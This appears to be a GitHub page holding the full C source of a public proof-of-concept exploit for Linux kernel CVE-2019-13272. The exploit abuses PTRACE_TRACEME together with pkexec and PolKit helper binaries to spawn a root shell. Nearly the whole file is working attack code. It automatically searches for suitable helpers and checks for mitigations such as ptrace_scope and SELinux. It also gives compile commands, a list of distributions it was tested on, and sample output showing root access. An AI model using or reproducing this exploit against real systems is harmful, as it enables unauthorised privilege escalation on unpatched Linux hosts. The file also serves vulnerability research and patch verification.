Permalink
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
The known good helpers may have a restrictive PolKit policy on some systems. Enumerating valid usable helpers with `pkaction` is preferred.
534 lines (459 sloc)
15.7 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) | |
// | |
// Uses pkexec technique. Requires execution within the context | |
// of a user session with an active PolKit agent. | |
// | |
// Exploitation will fail if kernel.yama.ptrace_scope >= 2; | |
// or SELinux deny_ptrace=on. | |
// --- | |
// Original discovery and exploit author: Jann Horn | |
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 | |
// --- | |
// <bcoles@gmail.com> | |
// - added known helper paths | |
// - added search for suitable helpers | |
// - added automatic targeting | |
// - changed target suid executable from passwd to pkexec | |
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 | |
// --- | |
// Tested on: | |
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic | |
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic | |
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic | |
// - Ubuntu 19.04 kernel 5.0.0-15-generic | |
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic | |
// - Linux Mint 17.3 kernel 4.4.0-89-generic | |
// - Linux Mint 18.3 kernel 4.13.0-16-generic | |
// - Linux Mint 19 kernel 4.15.0-20-generic | |
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic | |
// - ElementaryOS 0.4.1 4.8.0-52-generic | |
// - Backbox 6 kernel 4.18.0-21-generic | |
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 | |
// - Kali kernel 4.19.0-kali5-amd64 | |
// - MX 18.3 kernel 4.19.37-2~mx17+1 | |
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64 | |
// - CentOS 8 kernel 4.18.0-80.el8.x86_64 | |
// - Debian 9.4.0 kernel 4.9.0-6-amd64 | |
// - Debian 10.0.0 kernel 4.19.0-5-amd64 | |
// - Devuan 2.0.0 kernel 4.9.0-6-amd64 | |
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64 | |
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64 | |
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 | |
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO | |
// - Mageia 6 kernel 4.9.35-desktop-1.mga6 | |
// - Antergos 18.7 kernel 4.17.6-1-ARCH | |
// - lubuntu 19.04 kernel 5.0.0-13-generic | |
// - Sabayon 19.03 kernel 4.20.0-sabayon | |
// - Pop! OS 19.04 kernel 5.0.0-21-generic | |
// --- | |
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root | |
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root | |
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) | |
// [.] Checking environment ... | |
// [~] Done, looks good | |
// [.] Searching policies for useful helpers ... | |
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind | |
// [.] Trying helper: /usr/libexec/gsd-backlight-helper | |
// [.] Spawning suid process (/usr/bin/pkexec) ... | |
// [.] Tracing midpid ... | |
// [~] Attached to midpid | |
// [root@localhost CVE-2019-13272]# id | |
// uid=0(root) gid=0(root) groups=0(root),1000(user) | |
// [root@localhost CVE-2019-13272]# uname -a | |
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux | |
// --- | |
#define _GNU_SOURCE | |
#include <string.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <signal.h> | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <sched.h> | |
#include <stddef.h> | |
#include <stdarg.h> | |
#include <pwd.h> | |
#include <sys/prctl.h> | |
#include <sys/wait.h> | |
#include <sys/ptrace.h> | |
#include <sys/user.h> | |
#include <sys/syscall.h> | |
#include <sys/stat.h> | |
#include <linux/elf.h> | |
#define DEBUG | |
#ifdef DEBUG | |
# define dprintf printf | |
#else | |
# define dprintf | |
#endif | |
/* | |
* enabled automatic targeting. | |
* uses pkaction to search PolKit policy actions for viable helper executables. | |
*/ | |
#define ENABLE_AUTO_TARGETING 1 | |
/* | |
* fall back to known helpers if automatic targeting fails. | |
* note: use of these helpers may result in PolKit authentication | |
* prompts on the session associated with the PolKit agent. | |
*/ | |
#define ENABLE_FALLBACK_HELPERS 1 | |
static const char *SHELL = "/bin/bash"; | |
static int middle_success = 1; | |
static int block_pipe[2]; | |
static int self_fd = -1; | |
static int dummy_status; | |
static const char *helper_path; | |
static const char *pkexec_path = "/usr/bin/pkexec"; | |
static const char *pkaction_path = "/usr/bin/pkaction"; | |
struct stat st; | |
const char *helpers[1024]; | |
/* known helpers to use if automatic targeting fails */ | |
#if ENABLE_FALLBACK_HELPERS | |
const char *known_helpers[] = { | |
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper", | |
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", | |
"/usr/lib/unity-settings-daemon/usd-backlight-helper", | |
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper", | |
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", | |
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper", | |
"/usr/sbin/mate-power-backlight-helper", | |
"/usr/sbin/xfce4-pm-helper", | |
"/usr/bin/xfpm-power-backlight-helper", | |
"/usr/bin/lxqt-backlight_backend", | |
"/usr/libexec/gsd-wacom-led-helper", | |
"/usr/libexec/gsd-wacom-oled-helper", | |
"/usr/libexec/gsd-backlight-helper", | |
"/usr/lib/gsd-backlight-helper", | |
"/usr/lib/gsd-wacom-led-helper", | |
"/usr/lib/gsd-wacom-oled-helper", | |
"/usr/lib64/xfce4/session/xsfm-shutdown-helper", | |
}; | |
#endif | |
/* helper executables known to cause problems (hang or fail) */ | |
const char *blacklisted_helpers[] = { | |
"/xf86-video-intel-backlight-helper", | |
"/cpugovctl", | |
"/resetxpad", | |
"/package-system-locked", | |
"/cddistupgrader", | |
}; | |
#define SAFE(expr) ({ \ | |
typeof(expr) __res = (expr); \ | |
if (__res == -1) { \ | |
dprintf("[-] Error: %s\n", #expr); \ | |
return 0; \ | |
} \ | |
__res; \ | |
}) | |
#define max(a,b) ((a)>(b) ? (a) : (b)) | |
/* | |
* execveat() syscall | |
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl | |
*/ | |
#ifndef __NR_execveat | |
# define __NR_execveat 322 | |
#endif | |
/* temporary printf; returned pointer is valid until next tprintf */ | |
static char *tprintf(char *fmt, ...) { | |
static char buf[10000]; | |
va_list ap; | |
va_start(ap, fmt); | |
vsprintf(buf, fmt, ap); | |
va_end(ap); | |
return buf; | |
} | |
/* | |
* fork, execute pkexec in parent, force parent to trace our child process, | |
* execute suid executable (pkexec) in child. | |
*/ | |
static int middle_main(void *dummy) { | |
prctl(PR_SET_PDEATHSIG, SIGKILL); | |
pid_t middle = getpid(); | |
self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); | |
pid_t child = SAFE(fork()); | |
if (child == 0) { | |
prctl(PR_SET_PDEATHSIG, SIGKILL); | |
SAFE(dup2(self_fd, 42)); | |
/* spin until our parent becomes privileged (have to be fast here) */ | |
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); | |
char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); | |
while (1) { | |
char buf[1000]; | |
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); | |
buf[buflen] = '\0'; | |
if (strstr(buf, needle)) break; | |
} | |
/* | |
* this is where the bug is triggered. | |
* while our parent is in the middle of pkexec, we force it to become our | |
* tracer, with pkexec's creds as ptracer_cred. | |
*/ | |
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); | |
/* | |
* now we execute a suid executable (pkexec). | |
* Because the ptrace relationship is considered to be privileged, | |
* this is a proper suid execution despite the attached tracer, | |
* not a degraded one. | |
* at the end of execve(), this process receives a SIGTRAP from ptrace. | |
*/ | |
execl(pkexec_path, basename(pkexec_path), NULL); | |
dprintf("[-] execl: Executing suid executable failed"); | |
exit(EXIT_FAILURE); | |
} | |
SAFE(dup2(self_fd, 0)); | |
SAFE(dup2(block_pipe[1], 1)); | |
/* execute pkexec as current user */ | |
struct passwd *pw = getpwuid(getuid()); | |
if (pw == NULL) { | |
dprintf("[-] getpwuid: Failed to retrieve username"); | |
exit(EXIT_FAILURE); | |
} | |
middle_success = 1; | |
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, | |
helper_path, | |
"--help", NULL); | |
middle_success = 0; | |
dprintf("[-] execl: Executing pkexec failed"); | |
exit(EXIT_FAILURE); | |
} | |
/* ptrace pid and wait for signal */ | |
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { | |
struct user_regs_struct regs; | |
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; | |
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); | |
SAFE(waitpid(pid, &dummy_status, 0)); | |
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); | |
/* set up indirect arguments */ | |
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; | |
struct injected_page { | |
unsigned long argv[2]; | |
unsigned long envv[1]; | |
char arg0[8]; | |
char path[1]; | |
} ipage = { | |
.argv = { scratch_area + offsetof(struct injected_page, arg0) } | |
}; | |
strcpy(ipage.arg0, arg0); | |
int i; | |
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) { | |
unsigned long pdata = ((unsigned long *)&ipage)[i]; | |
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), | |
(void*)pdata)); | |
} | |
/* execveat(exec_fd, path, argv, envv, flags) */ | |
regs.orig_rax = __NR_execveat; | |
regs.rdi = exec_fd; | |
regs.rsi = scratch_area + offsetof(struct injected_page, path); | |
regs.rdx = scratch_area + offsetof(struct injected_page, argv); | |
regs.r10 = scratch_area + offsetof(struct injected_page, envv); | |
regs.r8 = AT_EMPTY_PATH; | |
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); | |
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); | |
SAFE(waitpid(pid, &dummy_status, 0)); | |
return 0; | |
} | |
static int middle_stage2(void) { | |
/* our child is hanging in signal delivery from execve()'s SIGTRAP */ | |
pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); | |
return force_exec_and_wait(child, 42, "stage3"); | |
} | |
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * | |
static int spawn_shell(void) { | |
SAFE(setresgid(0, 0, 0)); | |
SAFE(setresuid(0, 0, 0)); | |
execlp(SHELL, basename(SHELL), NULL); | |
dprintf("[-] execlp: Executing shell %s failed", SHELL); | |
exit(EXIT_FAILURE); | |
} | |
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * | |
static int check_env(void) { | |
int warn = 0; | |
const char* xdg_session = getenv("XDG_SESSION_ID"); | |
dprintf("[.] Checking environment ...\n"); | |
if (stat(pkexec_path, &st) != 0) { | |
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path); | |
exit(EXIT_FAILURE); | |
} | |
if (stat("/dev/grsec", &st) == 0) { | |
dprintf("[!] Warning: grsec is in use\n"); | |
warn++; | |
} | |
if (xdg_session == NULL) { | |
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); | |
warn++; | |
} | |
if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { | |
dprintf("[!] Warning: Could not find active PolKit agent\n"); | |
warn++; | |
} | |
if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) { | |
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n"); | |
warn++; | |
} | |
if (stat("/usr/sbin/getsebool", &st) == 0) { | |
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) { | |
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); | |
warn++; | |
} | |
} | |
if (warn > 0) { | |
dprintf("[~] Done, with %d warnings\n", warn); | |
} else { | |
dprintf("[~] Done, looks good\n"); | |
} | |
return warn; | |
} | |
/* | |
* Use pkaction to search PolKit policy actions for viable helper executables. | |
* Check each action for allow_active=yes, extract the associated helper path, | |
* and check the helper path exists. | |
*/ | |
#if ENABLE_AUTO_TARGETING | |
int find_helpers() { | |
if (stat(pkaction_path, &st) != 0) { | |
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path); | |
return 0; | |
} | |
char cmd[1024]; | |
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); | |
FILE *fp; | |
fp = popen(cmd, "r"); | |
if (fp == NULL) { | |
dprintf("[-] Failed to run %s: %m\n", cmd); | |
return 0; | |
} | |
char line[1024]; | |
char buffer[2048]; | |
int helper_index = 0; | |
int useful_action = 0; | |
int blacklisted_helper = 0; | |
static const char *needle = "org.freedesktop.policykit.exec.path -> "; | |
int needle_length = strlen(needle); | |
while (fgets(line, sizeof(line)-1, fp) != NULL) { | |
/* check the action uses allow_active=yes */ | |
if (strstr(line, "implicit active:")) { | |
if (strstr(line, "yes")) { | |
useful_action = 1; | |
} | |
continue; | |
} | |
if (useful_action == 0) | |
continue; | |
useful_action = 0; | |
/* extract the helper path */ | |
int length = strlen(line); | |
char* found = memmem(&line[0], length, needle, needle_length); | |
if (found == NULL) | |
continue; | |
memset(buffer, 0, sizeof(buffer)); | |
int i; | |
for (i = 0; found[needle_length + i] != '\n'; i++) { | |
if (i >= sizeof(buffer)-1) | |
continue; | |
buffer[i] = found[needle_length + i]; | |
} | |
/* check helper path against helpers defined in 'blacklisted_helpers' array */ | |
blacklisted_helper = 0; | |
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) { | |
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) { | |
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]); | |
blacklisted_helper = 1; | |
break; | |
} | |
} | |
if (blacklisted_helper == 1) | |
continue; | |
/* check the path exists */ | |
if (stat(&buffer[0], &st) != 0) { | |
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]); | |
continue; | |
} | |
helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); | |
helper_index++; | |
if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) | |
break; | |
} | |
pclose(fp); | |
return 0; | |
} | |
#endif | |
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * | |
int ptrace_traceme_root() { | |
dprintf("[.] Trying helper: %s\n", helper_path); | |
/* | |
* set up a pipe such that the next write to it will block: packet mode, | |
* limited to one packet | |
*/ | |
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); | |
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); | |
char dummy = 0; | |
SAFE(write(block_pipe[1], &dummy, 1)); | |
/* spawn pkexec in a child, and continue here once our child is in execve() */ | |
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); | |
static char middle_stack[1024*1024]; | |
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), | |
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); | |
if (!middle_success) return 1; | |
/* | |
* wait for our child to go through both execve() calls (first pkexec, then | |
* the executable permitted by polkit policy). | |
*/ | |
while (1) { | |
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); | |
char buf[16]; | |
int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); | |
buf[buflen] = '\0'; | |
*strchrnul(buf, '\n') = '\0'; | |
if (strncmp(buf, basename(helper_path), 15) == 0) | |
break; | |
usleep(100000); | |
} | |
/* | |
* our child should have gone through both the privileged execve() and the | |
* following execve() here | |
*/ | |
dprintf("[.] Tracing midpid ...\n"); | |
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); | |
SAFE(waitpid(midpid, &dummy_status, 0)); | |
dprintf("[~] Attached to midpid\n"); | |
force_exec_and_wait(midpid, 0, "stage2"); | |
exit(EXIT_SUCCESS); | |
} | |
int main(int argc, char **argv) { | |
if (strcmp(argv[0], "stage2") == 0) | |
return middle_stage2(); | |
if (strcmp(argv[0], "stage3") == 0) | |
return spawn_shell(); | |
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); | |
check_env(); | |
if (argc > 1 && strcmp(argv[1], "check") == 0) { | |
exit(0); | |
} | |
int i; | |
#if ENABLE_AUTO_TARGETING | |
/* search polkit policies for helper executables */ | |
dprintf("[.] Searching policies for useful helpers ...\n"); | |
find_helpers(); | |
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) { | |
if (helpers[i] == NULL) | |
break; | |
if (stat(helpers[i], &st) != 0) | |
continue; | |
helper_path = helpers[i]; | |
ptrace_traceme_root(); | |
} | |
#endif | |
#if ENABLE_FALLBACK_HELPERS | |
/* search for known helpers defined in 'known_helpers' array */ | |
dprintf("[.] Searching for known helpers ...\n"); | |
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) { | |
if (stat(known_helpers[i], &st) != 0) | |
continue; | |
helper_path = known_helpers[i]; | |
dprintf("[~] Found known helper: %s\n", helper_path); | |
ptrace_traceme_root(); | |
} | |
#endif | |
dprintf("[~] Done\n"); | |
return 0; | |
} |